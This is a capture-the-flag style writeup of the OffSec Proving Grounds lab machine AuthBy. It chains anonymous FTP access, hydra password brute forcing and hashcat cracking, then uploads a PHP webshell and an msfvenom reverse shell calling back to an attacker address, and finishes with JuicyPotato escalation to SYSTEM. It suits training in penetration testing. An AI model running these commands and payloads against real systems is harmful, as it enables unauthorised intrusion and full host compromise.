OffSec Proving Grounds AuthBy Writeup
Windows target. Anonymous FTP names admin, hydra guesses its password, the .htpasswd hash cracks to offsec, and JuicyPotato turns a PHP webshell into SYSTEM.
Summary
AuthBy runs an ancient zFTPServer build alongside an Apache instance on port 242 that is behind HTTP basic auth. Anonymous FTP login exposes an accounts directory whose filenames alone disclose two usernames, offsec and admin, and hydra brute forces admin’s password to the predictable admin. That account controls the web root, so downloading .htpasswd and cracking it with hashcat yields offsec:elite and access to the protected site. The same FTP write access is then used to upload a one line PHP webshell and an msfvenom reverse shell executable, which the webshell launches for a shell as the Apache user. systeminfo shows an unpatched Windows Server 2008 and whoami /priv shows SeImpersonatePrivilege, so JuicyPotato for x86 runs the payload again as NT AUTHORITY SYSTEM.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Nmap 7.98 scan initiated Wed Jan 14 17:33:10 2026 as: nmap -A -vv -oN scans/nmap.all -Pn -p- --min-rate 2500 192.168.164.46
Nmap scan report for 192.168.164.46
Host is up, received user-set (0.13s latency).
Scanned at 2026-01-14 17:33:10 -03 for 79s
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe
| ---------- 1 root root 25 Feb 10 2011 UninstallService.bat
| ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe
| ---------- 1 root root 17 Aug 13 2011 StopService.bat
| ---------- 1 root root 18 Aug 13 2011 StartService.bat
| ---------- 1 root root 8736 Nov 09 2011 Settings.ini
| dr-xr-xr-x 1 root root 512 Jan 14 23:28 log
| ---------- 1 root root 2275 Aug 09 2011 LICENSE.htm
| ---------- 1 root root 23 Feb 10 2011 InstallService.bat
| dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions
| dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates
|_dr-xr-xr-x 1 root root 512 Aug 02 2024 accounts
242/tcp open http syn-ack Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
| http-auth:
| HTTP/1.1 401 Authorization Required\x0D
|_ Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
|_http-title: 401 Authorization Required
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
3145/tcp open zftp-admin syn-ack zFTPServer admin
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Service
|_ssl-date: 2026-01-14T20:34:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=LIVDA
| Issuer: commonName=LIVDA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-08-01T10:50:21
| Not valid after: 2025-01-31T10:50:21
| MD5: 2591 0f28 66db f0bb d835 9079 05dd 5d35
| SHA-1: ba4a 1b6a e542 45b1 3c71 75da 118f 9f50 3aa9 c846
| SHA-256: 82a9 50b3 0b02 1125 0a79 105a 9393 70ca e1cb 9881 4158 4845 c1c4 ffee 64f0 7269
| -----BEGIN CERTIFICATE-----
| MIICzjCCAbagAwIBAgIQCBy1kYmGYZdIDXrvKdFL3zANBgkqhkiG9w0BAQUFADAQ
| MQ4wDAYDVQQDEwVMSVZEQTAeFw0yNDA4MDExMDUwMjFaFw0yNTAxMzExMDUwMjFa
| MBAxDjAMBgNVBAMTBUxJVkRBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
| AQEAkCiRtK1UfMdBeEp34ryyosANbpiVER8nt0pnZGFNtXCEpnkvST9+MvKEHIfC
| 15r27Bf0I6bkRtKWjZIzPQl0Jsi0ANFQXeJNB5sHo1Grt1vBTrzsUrqI1bVJ6E8d
| uOonXuon2f1k+l/y8NHY2Jo6yNEpJAQv/PVbabvxTvRbis+EHQcvIYJfw9/+MLRK
| rVQFimKLQbmGdpxe5JVDSvSEfXfANzs7GGDFVOu8rqdHgdhUBiMFjoOT+95F+zmz
| caPnERx85Y/3VOm++LWieftrSpoa3U5fOOVQXv68nmi3c7kP5Nr24vj8RcoyLhUn
| /rRnYvgOn0PKB/JCLcoIIxiWUQIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcD
| ATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQEFBQADggEBACO6WBoQa47pWd+JXgPi
| imHnhXmF0kqrk+avPVK8BZXWxjoIhBbHHpPuaHdntDaCXihrv7e/tVCmbPN3xyNR
| OicFsRSpSEFx4+wnsAX8kYJARAf/nMJWN1OuT/rDSCB7jZh86+HXKUpjV8YC9Hrm
| 9llBnNz0GgjCPfPPeJG7E99jaqasJyJX6bPDPIp7grlzNVhNN3PO3fn7ztNwNZnw
| toCKE/fitRGoK9YOCRvXxhLeAHxl3hl9hf3q6TudAJlyxVxv03vMosCfoAd2/wyd
| Jnnu1VOyyAeykSIOXPlxRzEPJw2Dr3c29hdTxiMbbBtwh+EPUVrGCjOysv6tPRNb
| 19A=
|_-----END CERTIFICATE-----
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
Read data files from: /home/user/Software/nmap-7.98
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 14 17:34:29 2026 -- 1 IP address (1 host up) scanned in 79.41 seconds
Web Server Enumeration
I try accessing the website on port 242 but I’m immediately prompted to provide credentials:
Since I have no credentials at the moment, there’s not much I can do here. Last resort would be to research a CVE for the version of Apache that’s running on the server.
FTP Server Enumeration
The first thing I notice about the ftp server is that it is very old. My nmap scan tells me this:
1
zFTPServer 6.0 build 2011-10-17
A build from almost than 15 years ago. That immediately begs the question, is it vulnerable? It seems like it is:
This very build appears to be vulnerable to a Directory Traversal attack where the attacker can delete any directory off of the system. Nothing more than that, from what I can find.
That got me thinking for a while, what folder could I possibly delete on the system that would give me some kind of advantage? I know that the web server is protected by authentication, so maybe if I deleted the htpasswd or htaccess files I would be able to log in to it without creds. But that’s just what was going on in my mind at the time.
Anyways, since I couldn’t weaponize this vulnerability, I simply connect to the ftp server using anonymous credentials (username: anonymous, no password):
1
2
3
4
5
6
7
$ ftp 192.168.164.46
Connected to 192.168.164.46.
220 zFTPServer v6.0, build 2011-10-17 14:25 ready.
Name (192.168.164.46:user): anonymous
331 User name received, need password.
Password:
230 User logged in, proceed.
I investigate the directory structure. There’s an “accounts” folder, and some pretty interesting files in it. I can’t read them, but their filenames are enough to disclose potentially valid usernames (Offsec and admin):
1
2
3
4
5
6
7
8
9
ftp> ls -al
229 Entering Extended Passive Mode (|||2112|)
150 Opening connection for /bin/ls.
total 4
---------- 1 root root 764 Jul 10 2020 acc[Offsec].uac
---------- 1 root root 1030 Jul 10 2020 acc[anonymous].uac
---------- 1 root root 926 Jul 10 2020 acc[admin].uac
d--x--x--x 1 root root 512 Jan 14 20:54 ..
d--x--x--x 1 root root 512 Jan 14 20:54 .
I first try bruteforcing the password for “offsec”:
1
hydra -l offsec -P /usr/share/wordlists/rockyou.txt -t 50 ftp://192.168.164.46 -V -I
Let it run for around 10 minutes, with no results. Then, I tried the same but for “admin”:
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 50 ftp://192.168.164.46 -V -I
After some time, I got a result back:
This indicates a valid credential would be:
1
2
Username: admin
Password: admin
I could have guessed that… Anyways, I log in to the server as “admin” and see this user has control over what seems to be a web server directory:
Specifically, three files:
1
2
3
index.php
.htpasswd
.htaccess
I get all files to analyse them further in my attacking machine:
1
ftp> mget *
I see that “.htpasswd” contains the hashed password for the “offsec” user:
1
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
I crack it using hashcat:
1
hashcat .htpasswd /usr/share/wordlists/rockyou.txt --force --username
This yields the following credentials:
1
2
Username: offsec
Password: elite
And now I can log in to the web server on port 242. It only displays me a message in latin:
More specifically:
Qui e nuce nuculeum esse volt, frangit nucem!
Okay, I guess. Let’s just keep this in mind, maybe this can come into play later.
Initial Access
I create “shell.php”:
1
<?php system($_REQUEST['cmd']); ?>
I use the ftp session as “admin” to upload “shell.php” to the server:
1
2
3
4
5
6
7
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||2119|)
150 File status okay; about to open data connection.
100% |****************************************| 35 319.43 KiB/s 00:00 ETA
226 Closing data connection.
35 bytes sent in 00:00 (0.24 KiB/s)
And now I have RCE in the system as “apache”:
Whatever I put in the “cmd” GET attribute, will be executed in the remote system:
1
http://192.168.164.46:242/shell.php?cmd=<REPLACE_WITH_COMMAND>
On my attacking machine, I generate a malicious executable that’ll be responsible for getting me a reverse shell on the victim:
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.205 LPORT=53 -f exe -o evil2.exe
I use the FTP connection to upload the just generated “evil2.exe” to the victim:
1
2
3
4
5
6
7
ftp> put evil2.exe
local: evil2.exe remote: evil2.exe
229 Entering Extended Passive Mode (|||2123|)
150 File status okay; about to open data connection.
100% |****************************************| 7168 37.97 MiB/s 00:00 ETA
226 Closing data connection.
7168 bytes sent in 00:00 (39.85 KiB/s)
Prepare a netcat listener on port 53:
1
sudo rlwrap nc -lvnp 53
Then use the php webshell to make the server execute the binary reverse shell:
1
curl 'http://offsec:elite@192.168.164.46:242/shell.php?cmd=cmd.exe%20/c%20%22.\evil2.exe%22'
This lands me a rev shell on the system:
1
2
3
4
5
6
7
8
9
$ sudo rlwrap nc -lvnp 53
listening on [any] 53 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.164.46] 49169
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\wamp\www>whoami
whoami
livda\apache
Vertical Privilege Escalation
I ran “systeminfo” to enumerate the system. The screenshot below highlights some of the most critical information obtained thanks to that command:
More specifically, the server is a Windows Server 2008 Standard, version 6.0.6001 build Build 6001 **with NO HOTFIXES **installed!!!
That alone is a goldmine for privilege escalation. There are just a plethora of kernel exploits that would affect this system.
I run a “whoami /priv” and discover that my user has even another way of escalating privileges:
1
2
3
4
5
6
7
8
9
10
11
12
C:\wamp\www>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
More specifically, the user I control has the SeImpersonatePrivilege privilege. I got a copy of JuicyPotato for x86 systems (Juicy.Potato.x86.exe) thanks to this github repo. Uploaded it to the machine using ftp:
1
2
3
4
5
6
7
ftp> put Juicy.Potato.x86.exe
local: Juicy.Potato.x86.exe remote: Juicy.Potato.x86.exe
229 Entering Extended Passive Mode (|||2127|)
150 File status okay; about to open data connection.
100% |****************************************| 257 KiB 342.29 KiB/s 00:00 ETA
226 Closing data connection.
263680 bytes sent in 00:01 (228.47 KiB/s)
I have a netcat listener waiting for connections on port 53:
1
sudo nc -lvnp 53
On my reverse shell, I execute the following command:
1
.\Juicy.Potato.x86.exe -p c:\windows\system32\cmd.exe -c "{69AD4AEE-51BE-439b-A92C-86AE490E8B30}" -l 7331 -a "/c C:\wamp\www\evil2.exe" -t *
Here you can see the output of the command:
I immediately get a shell on my netcat listener as nt authority\system:
References
https://duckwrites.medium.com/seimpersonate-on-old-windows-boxes-4e7fe0492309
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise